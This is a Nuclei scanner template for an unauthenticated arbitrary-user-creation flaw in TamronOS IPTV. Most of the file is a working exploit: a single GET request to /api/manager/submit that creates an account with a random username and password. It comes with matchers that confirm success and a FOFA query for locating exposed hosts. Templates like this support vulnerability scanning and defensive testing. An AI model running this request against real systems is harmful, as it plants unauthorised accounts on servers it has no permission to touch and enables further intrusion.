id: tamronos-user-creation

info:
  name: TamronOS IPTV - Arbitrary User Creation
  author: pussycat0x
  severity: high
  description: Unathenticated attackers can create multiple users in TamronOS IPTV.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/TamronOS%20IPTV%E7%B3%BB%E7%BB%9F%20submit%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E5%88%9B%E5%BB%BA%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="TamronOS-IPTV系统"
  tags: tamronos,miconfig,iptv
variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/manager/submit?group=1&username={{username}}&password={{password}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"suc":true'
          - '"msg":"\u6210\u529f"'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a004730450220401da4b9fb250d7cc32385c3f94276d832013ebdabadcfd48ae0b07c44df2f73022100d2c6dfb681e3494faa9fcfc7814dcafdf08c40b13e7bec8e82507d12af8d022f:922c64590222798bb761d5b6d8e72950